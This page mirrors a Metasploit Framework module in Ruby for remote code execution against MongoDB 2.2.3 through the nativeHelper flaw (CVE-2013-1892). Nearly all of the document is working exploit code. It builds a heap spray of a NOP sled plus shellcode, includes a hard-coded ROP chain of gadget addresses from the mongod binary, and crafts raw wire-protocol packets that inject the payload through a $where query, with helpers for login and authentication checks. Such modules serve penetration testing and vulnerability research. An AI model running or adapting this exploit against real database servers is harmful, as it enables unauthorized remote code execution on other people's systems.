Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/mongod_native_helper.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',
16
'Description' => %q{
17
This module exploits the nativeHelper feature from spiderMonkey which allows
18
remote code execution by calling it with specially crafted arguments. This module
19
has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
20
},
21
'Author' => [
22
'agix' # @agixid # Vulnerability discovery and Metasploit module
23
],
24
'References' => [
25
[ 'CVE', '2013-1892' ],
26
[ 'OSVDB', '91632' ],
27
[ 'BID', '58695' ],
28
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
29
],
30
'Platform' => 'linux',
31
'Targets' => [
32
[
33
'Linux - mongod 2.2.3 - 32bits',
34
{
35
'Arch' => ARCH_X86,
36
'mmap' => [
37
0x0816f768, # mmap64@plt # from mongod
38
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
39
0x31337000,
40
0x00002000,
41
0x00000007,
42
0x00000031,
43
0xffffffff,
44
0x00000000,
45
0x00000000,
46
0x0816e4c8, # memcpy@plt # from mongod
47
0x31337000,
48
0x31337000,
49
0x0c0b0000,
50
0x00002000
51
],
52
'ret' => 0x08055a70, # ret # from mongod
53
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
54
# These gadgets need to be composed with bytes < 0x80
55
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
56
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
57
'gadget4' => 0x08055a6c, # pop eax / ret
58
'gadget5' => 0x08457158 # xchg esp,eax
59
}
60
]
61
],
62
'DefaultTarget' => 0,
63
'DisclosureDate' => '2013-03-24',
64
'License' => MSF_LICENSE,
65
'Notes' => {
66
'Reliability' => UNKNOWN_RELIABILITY,
67
'Stability' => UNKNOWN_STABILITY,
68
'SideEffects' => UNKNOWN_SIDE_EFFECTS
69
}
70
)
71
)
72
73
register_options(
74
[
75
Opt::RPORT(27017),
76
OptString.new('DB', [ true, "Database to use", "admin"]),
77
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
78
OptString.new('USERNAME', [ true, "Login to use", ""]),
79
OptString.new('PASSWORD', [ true, "Password to use", ""])
80
]
81
)
82
end
83
84
def exploit
85
begin
86
connect
87
if require_auth?
88
print_status("Mongo server #{datastore['RHOST']} use authentication...")
89
if !datastore['USERNAME'] || !datastore['PASSWORD']
90
disconnect
91
fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided")
92
end
93
if do_login == 0
94
disconnect
95
fail_with(Failure::NoAccess, "Authentication failed")
96
end
97
else
98
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
99
end
100
101
if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
102
collection = datastore['COLLECTION']
103
else
104
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
105
if read_only?(collection)
106
disconnect
107
fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
108
else
109
print_good("New document created in collection #{collection}")
110
end
111
end
112
113
print_status("Let's exploit, heap spray could take some time...")
114
my_target = target
115
shellcode = Rex::Text.to_unescape(payload.encoded)
116
mmap = my_target['mmap'].pack("V*")
117
ret = [my_target['ret']].pack("V*")
118
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
119
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
120
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
121
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
122
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))
123
124
shellcode_var = "a" + Rex::Text.rand_text_hex(4)
125
sizechunk_var = "b" + Rex::Text.rand_text_hex(4)
126
chunk_var = "c" + Rex::Text.rand_text_hex(4)
127
i_var = "d" + Rex::Text.rand_text_hex(4)
128
array_var = "e" + Rex::Text.rand_text_hex(4)
129
130
ropchain_var = "f" + Rex::Text.rand_text_hex(4)
131
chunk2_var = "g" + Rex::Text.rand_text_hex(4)
132
array2_var = "h" + Rex::Text.rand_text_hex(4)
133
134
# nopsled + shellcode heapspray
135
payload_js = shellcode_var + '=unescape("' + shellcode + '");'
136
payload_js << sizechunk_var + '=0x1000;'
137
payload_js << chunk_var + '="";'
138
payload_js << 'for(' + i_var + '=0;' + i_var + '<' + sizechunk_var + ';' + i_var + '++){ ' + chunk_var + '+=unescape("%u9090%u9090"); } '
139
payload_js << chunk_var + '=' + chunk_var + '.substring(0,(' + sizechunk_var + '-' + shellcode_var + '.length));'
140
payload_js << array_var + '=new Array();'
141
payload_js << 'for(' + i_var + '=0;' + i_var + '<25000;' + i_var + '++){ ' + array_var + '[' + i_var + ']=' + chunk_var + '+' + shellcode_var + '; } '
142
143
# retchain + ropchain heapspray
144
payload_js << ropchain_var + '=unescape("' + Rex::Text.to_unescape(mmap) + '");'
145
payload_js << chunk2_var + '="";'
146
payload_js << 'for(' + i_var + '=0;' + i_var + '<' + sizechunk_var + ';' + i_var + '++){ ' + chunk2_var + '+=unescape("' + Rex::Text.to_unescape(ret) + '"); } '
147
payload_js << chunk2_var + '=' + chunk2_var + '.substring(0,(' + sizechunk_var + '-' + ropchain_var + '.length));'
148
payload_js << array2_var + '=new Array();'
149
payload_js << 'for(' + i_var + '=0;' + i_var + '<25000;' + i_var + '++){ ' + array2_var + '[' + i_var + ']=' + chunk2_var + '+' + ropchain_var + '; } '
150
151
# Trigger and first ropchain
152
payload_js << 'nativeHelper.apply({"x" : ' + gadget1 + '}, '
153
payload_js << '["A"+"' + gadget3 + '"+"' + Rex::Text.rand_text_hex(12) + '"+"' + gadget2 + '"+"' + Rex::Text.rand_text_hex(28) + '"+"' + gadget4 + '"+"\\x20\\x20\\x20\\x20"+"' + gadget5 + '"]);'
154
155
request_id = Rex::Text.rand_text(4)
156
157
packet = request_id # requestID
158
packet << "\xff\xff\xff\xff" # responseTo
159
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
160
packet << "\x00\x00\x00\x00" # flags
161
packet << datastore['DB'] + "." + collection + "\x00" # fullCollectionName (db.collection)
162
packet << "\x00\x00\x00\x00" # numberToSkip (0)
163
packet << "\x01\x00\x00\x00" # numberToReturn (1)
164
165
where = "\x02\x24\x77\x68\x65\x72\x65\x00"
166
where << [payload_js.length + 4].pack("L")
167
where << payload_js + "\x00"
168
169
where.insert(0, [where.length + 4].pack("L"))
170
171
packet += where
172
packet.insert(0, [packet.length + 4].pack("L"))
173
174
sock.put(packet)
175
176
disconnect
177
rescue ::Exception => e
178
fail_with(Failure::Unreachable, "Unable to connect")
179
end
180
end
181
182
def require_auth?
183
request_id = Rex::Text.rand_text(4)
184
packet = "\x3f\x00\x00\x00" # messageLength (63)
185
packet << request_id # requestID
186
packet << "\xff\xff\xff\xff" # responseTo
187
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
188
packet << "\x00\x00\x00\x00" # flags
189
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd)
190
packet << "\x00\x00\x00\x00" # numberToSkip (0)
191
packet << "\x01\x00\x00\x00" # numberToReturn (1)
192
# query ({"listDatabases"=>1})
193
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
194
195
sock.put(packet)
196
response = sock.get_once
197
198
have_auth_error?(response)
199
end
200
201
def read_only?(collection)
202
request_id = Rex::Text.rand_text(4)
203
_id = "\x07_id\x00" + Rex::Text.rand_text(12) + "\x02"
204
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + "\x00"
205
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + "\x00"
206
207
insert = _id + key + [value.length].pack("L") + value + "\x00"
208
209
packet = [insert.length + 24 + datastore['DB'].length + 6].pack("L") # messageLength
210
packet << request_id # requestID
211
packet << "\xff\xff\xff\xff" # responseTo
212
packet << "\xd2\x07\x00\x00" # opCode (2002 Insert Document)
213
packet << "\x00\x00\x00\x00" # flags
214
packet << datastore['DB'] + "." + collection + "\x00" # fullCollectionName (DB.collection)
215
packet << [insert.length + 4].pack("L")
216
packet << insert
217
218
sock.put(packet)
219
220
request_id = Rex::Text.rand_text(4)
221
222
packet = [datastore['DB'].length + 61].pack("L") # messageLength (66)
223
packet << request_id # requestID
224
packet << "\xff\xff\xff\xff" # responseTo
225
packet << "\xd4\x07\x00\x00" # opCode (2004 Query)
226
packet << "\x00\x00\x00\x00" # flags
227
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
228
packet << "\x00\x00\x00\x00" # numberToSkip (0)
229
packet << "\xff\xff\xff\xff" # numberToReturn (1)
230
packet << "\x1b\x00\x00\x00"
231
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
232
233
sock.put(packet)
234
235
response = sock.get_once
236
have_auth_error?(response)
237
end
238
239
def do_login
240
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
241
nonce = get_nonce
242
status = auth(nonce)
243
return status
244
end
245
246
def auth(nonce)
247
request_id = Rex::Text.rand_text(4)
248
packet = request_id # requestID
249
packet << "\xff\xff\xff\xff" # responseTo
250
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
251
packet << "\x00\x00\x00\x00" # flags
252
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
253
packet << "\x00\x00\x00\x00" # numberToSkip (0)
254
packet << "\xff\xff\xff\xff" # numberToReturn (1)
255
256
# {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
257
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
258
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
259
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
260
document << datastore['USERNAME'] + "\x00"
261
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
262
document << nonce + "\x00"
263
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
264
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
265
document << "\x00"
266
# Calculate document length
267
document.insert(0, [document.length + 4].pack("L"))
268
269
packet += document
270
271
# Calculate messageLength
272
packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength
273
sock.put(packet)
274
response = sock.get_once
275
if have_auth_error?(response)
276
print_error("Bad login or DB")
277
return 0
278
else
279
print_good("Successful login on DB #{datastore['db']}")
280
return 1
281
end
282
end
283
284
def get_nonce
285
request_id = Rex::Text.rand_text(4)
286
packet = [datastore['DB'].length + 57].pack("L") # messageLength (57+DB.length)
287
packet << request_id # requestID
288
packet << "\xff\xff\xff\xff" # responseTo
289
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
290
packet << "\x00\x00\x00\x00" # flags
291
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
292
packet << "\x00\x00\x00\x00" # numberToSkip (0)
293
packet << "\x01\x00\x00\x00" # numberToReturn (1)
294
# query {"getnonce"=>1.0}
295
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
296
297
sock.put(packet)
298
response = sock.get_once
299
documents = response[36..1024]
300
# {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
301
nonce = documents[15..30]
302
end
303
304
def have_auth_error?(response)
305
# Response header 36 bytes long
306
documents = response[36..1024]
307
# {"errmsg"=>"auth fails", "ok"=>0.0}
308
# {"errmsg"=>"need to login", "ok"=>0.0}
309
if documents.include?('errmsg') || documents.include?('unauthorized')
310
return true
311
else
312
return false
313
end
314
end
315
end
316
317